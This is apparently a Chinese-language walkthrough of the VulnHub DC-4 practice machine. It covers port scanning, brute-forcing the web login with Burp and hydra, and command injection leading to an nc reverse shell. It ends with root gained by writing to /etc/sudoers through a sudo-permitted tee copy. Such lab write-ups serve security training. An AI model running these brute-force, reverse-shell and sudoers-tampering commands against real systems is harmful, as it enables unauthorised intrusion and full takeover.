下载地址
https://download.vulnhub.com/dc/DC-4.zip
从nmap 入手(靶机在192.168.1.106)
nmap -sT -sV -sC 192.168.1.106 -O -p-
开放了80,22端口。
先上个80看看
只有一个登陆界面,尝试在username输入’or’1’='1 看看有没有sql注入。重定向回本页面。接着用hackbar试了一下,看起来没有sql注入。那就爆破密码
爆破表单
这里可以用hydra 和burpsuit ,我在这里用的是burpsuit pro。
配置好代理后。
sent to intruder
清除∮后,选password,username为admin
字典的话
https://github.com/danielmiessler/SecLists
这个项目上有字典文件,选了password/darkweb2017-top10000,线程选50.
幸运的是没跑完字典,密码就出来了
burpsuit 怎么确定是否成功,看状态码,长度。按长度排序了一下,点了一下happy的回应包
登上去看看
发现有命令运行漏洞,让他走burpsuit看看
改成whoami
NC反弹shell
用nc 在本地侦听一个shell吧
nc -nlvp 4444
但在这里需要构造同样的格式
nc+ -nv+192.168.1.127+ 4444 + -e+/bin/bash
之后用python升级一下这个shell
python -c 'import pty; pty.spawn("/bin/bash")'
看了一下该目录下的login.php怪不得没有sql注入。
find / -perm -u=s 2>/dev/null
发现了su,sudo。但不知道www的密码。但这里还有个jim用户。cat test.sh 看了一下,没什么东西
但是在/home/jim,目录下发现了一个过去密码的备份文件,cat一下
这个时候可以考虑通过jim账号爆破ssh登陆。这个时候可以用hydra去爆破ssh。
复制到kali,新建一个dc4.txt
hydra -l jim -P dc4.txt ssh://192.168.1.106
登陆后,发现了一个mbox,cat 一下似乎是一个邮箱发送记录。
去/var/mail,看看有没有什么记录。
结果在/var/mail/jim下,发现了charles账号的密码
切换用户看看
我不知道这个teehee是什么,但似乎输入什么他就返回什么给你
我在https://gtfobins.github.io/ 找到了一个类似的命令tee
这个命令在sudo帮助可以利用管道命令给文件写入某些数据。这样的话
echo "charles ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers
在sudoers中加入Charles
之后用
sudo su root
输入密码
得到root权限。就去/home/root下得到最后的flag